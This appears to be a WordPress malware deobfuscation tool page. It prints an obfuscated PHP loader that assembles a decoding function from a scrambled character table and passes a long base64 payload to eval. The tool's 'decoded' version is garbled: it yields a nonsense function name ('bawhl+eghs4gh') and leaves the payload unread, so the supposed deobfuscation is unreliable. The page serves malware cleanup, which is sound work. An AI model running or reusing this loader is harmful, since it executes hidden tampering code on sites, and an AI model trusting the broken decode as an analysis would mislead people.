PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $O00OO0="n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";$O00O0O=$O00OO0[3].$O00OO0[6].$O00OO0[33].$O00OO0[30];$O0OO00=$O00OO0[33].$O00OO0[10].$O00OO0[24].$O00OO0[10].$O00OO0[24];$OO0O00=$O0OO00[0].$O00OO0[18].$O00OO0[3].$O0OO00[0].$O0OO00[1].$O00OO0[24];$OO0000=$O00OO0[7].$O00OO0[13];$O00O0O.=...

Obfuscated php code

<?php 
$O00OO0="n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";$O00O0O=$O00OO0[3].$O00OO0[6].$O00OO0[33].$O00OO0[30];$O0OO00=$O00OO0[33].$O00OO0[10].$O00OO0[24].$O00OO0[10].$O00OO0[24];$OO0O00=$O0OO00[0].$O00OO0[18].$O00OO0[3].$O0OO00[0].$O0OO00[1].$O00OO0[24];$OO0000=$O00OO0[7].$O00OO0[13];$O00O0O.=$O00OO0[22].$O00OO0[36].$O00OO0[29].$O00OO0[26].$O00OO0[30].$O00OO0[32].$O00OO0[35].$O00OO0[26].$O00OO0[30];eval($O00O0O("JE8wTzAwMD0iSWhCYWN4WW9qVGJ3V2lIbk1tWnlsUmVWRnByVUNrZHRQcUx1U3NmRVFLZ0R6QU9KWE5HdkVXWWJ1dmpUQ2FLcmx4bml5a1ZGbVhRZHdnaHBjZk9HTW9VcUxQQmVJc05KU3RaekhBRFJNSjlyYm50c2Jsak5zY1hCcDBkTGRmZExsRk9MWGR3ZFhkQXBIMDF3ZGVXTVhjT09FSjA5TUx0aXBlOWFkY3VnRW5Qc0VjdE5FblhGUUhQc0VjdE5FY3RORWN0ZmpsdlBLM09tVmN0Tk1MWUt6MlZndWlBMGFrd0dWTHVQejJ2V3UzWFpqbDFtekZyaWoyd0ZWZTUxS2x6bXV4dVB6MjFSS2lYVHpGcmlRbGRXdXh1UHoyQTJPeHVQejJBUk9sNTB1aWZpVWNPV1ZEWEZWSEFTekZyaXVEOVNPZUFSVkRwaVVjT0dqbG1QekZyaXVEV1JLa3BpSGFQc0VjdE5FY3RORWN0ZnVEd0ZqbDBOTUx0aXpTUHNFY3RORWN0TkVjWWtLM3ptamxBVEVjTmZqbHZQSzNPbVZjWVd1RnRmYjJkNXNMWTdjeHRORWN0TkVjdE5FY3RORWNYMmpsck5NTFlndTNBbU9jTmZIMVlNcDFYS3pER21RZDBnTUZYQnBlOWFkd1BmYjJkNUhhVGl6U1BzRWN0TkVjdE5FY3RORWN0TnpuWVd1a3dHRUowTnpuWVd1a3dHVXhYMmpscnF6MzRpWnJUTkVjdE5FY3RORW4wc0VjdE5FY3RORWN0Zk9IWTBLRnQ5RUR6V3UycDJBdzlmVmxBUlZEcFR6MHJTbGtXQ2JhZlNWSkFDT2t3RXBpWHhJU21obGR1MWJtZ0hMQ3diUWFtcmptT0NPa3puWmw1V2RTZGdsaWdBT2x3cUlrNGlzYVBzRWN0TkVjdE5FY1lrYmx2bUgzWTFPdzlDSzI1MFZsNTB1Rk5mT0hZMEtGck5qa3dTVmFqMEgyZHFqMjlmVkxXeGpIQW1BQ1hCVmw1Q0syWG1zY1hyakh6V0tMZmdVeHp1S3hFUEVlVnphZWRCSWRZSVhwNWVFbnJOYWU5SkwxOXdsY2Y3Y3h0TkVjdE5FY3ROVmxBVEtGTnh1M2RDajJkU3VGRWdaclRORWN0TkJJVE5FY3ROVmttcWpsdlBRSEc5Y2kwc01TND0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));
?>

Decoded(de-Obfuscated) php code

<?php

$O00OO0 = "n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
$O00O0O = "bawh";
$O0OO00 = "w0k0k";
$OO0O00 = "wqbw0k";
$OO0000 = "58";
$O00O0O = "bawhl+eghs4gh";
eval(bawhl+eghs4gh("JE8wTzAwMD0iSWhCYWN4WW9qVGJ3V2lIbk1tWnlsUmVWRnByVUNrZHRQcUx1U3NmRVFLZ0R6QU9KWE5HdkVXWWJ1dmpUQ2FLcmx4bml5a1ZGbVhRZHdnaHBjZk9HTW9VcUxQQmVJc05KU3RaekhBRFJNSjlyYm50c2Jsak5zY1hCcDBkTGRmZExsRk9MWGR3ZFhkQXBIMDF3ZGVXTVhjT09FSjA5TUx0aXBlOWFkY3VnRW5Qc0VjdE5FblhGUUhQc0VjdE5FY3RORWN0ZmpsdlBLM09tVmN0Tk1MWUt6MlZndWlBMGFrd0dWTHVQejJ2V3UzWFpqbDFtekZyaWoyd0ZWZTUxS2x6bXV4dVB6MjFSS2lYVHpGcmlRbGRXdXh1UHoyQTJPeHVQejJBUk9sNTB1aWZpVWNPV1ZEWEZWSEFTekZyaXVEOVNPZUFSVkRwaVVjT0dqbG1QekZyaXVEV1JLa3BpSGFQc0VjdE5FY3RORWN0ZnVEd0ZqbDBOTUx0aXpTUHNFY3RORWN0TkVjWWtLM3ptamxBVEVjTmZqbHZQSzNPbVZjWVd1RnRmYjJkNXNMWTdjeHRORWN0TkVjdE5FY3RORWNYMmpsck5NTFlndTNBbU9jTmZIMVlNcDFYS3pER21RZDBnTUZYQnBlOWFkd1BmYjJkNUhhVGl6U1BzRWN0TkVjdE5FY3RORWN0TnpuWVd1a3dHRUowTnpuWVd1a3dHVXhYMmpscnF6MzRpWnJUTkVjdE5FY3RORW4wc0VjdE5FY3RORWN0Zk9IWTBLRnQ5RUR6V3UycDJBdzlmVmxBUlZEcFR6MHJTbGtXQ2JhZlNWSkFDT2t3RXBpWHhJU21obGR1MWJtZ0hMQ3diUWFtcmptT0NPa3puWmw1V2RTZGdsaWdBT2x3cUlrNGlzYVBzRWN0TkVjdE5FY1lrYmx2bUgzWTFPdzlDSzI1MFZsNTB1Rk5mT0hZMEtGck5qa3dTVmFqMEgyZHFqMjlmVkxXeGpIQW1BQ1hCVmw1Q0syWG1zY1hyakh6V0tMZmdVeHp1S3hFUEVlVnphZWRCSWRZSVhwNWVFbnJOYWU5SkwxOXdsY2Y3Y3h0TkVjdE5FY3ROVmxBVEtGTnh1M2RDajJkU3VGRWdaclRORWN0TkJJVE5FY3ROVmttcWpsdlBRSEc5Y2kwc01TND0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));

Malware detection & removal plugin for WordPress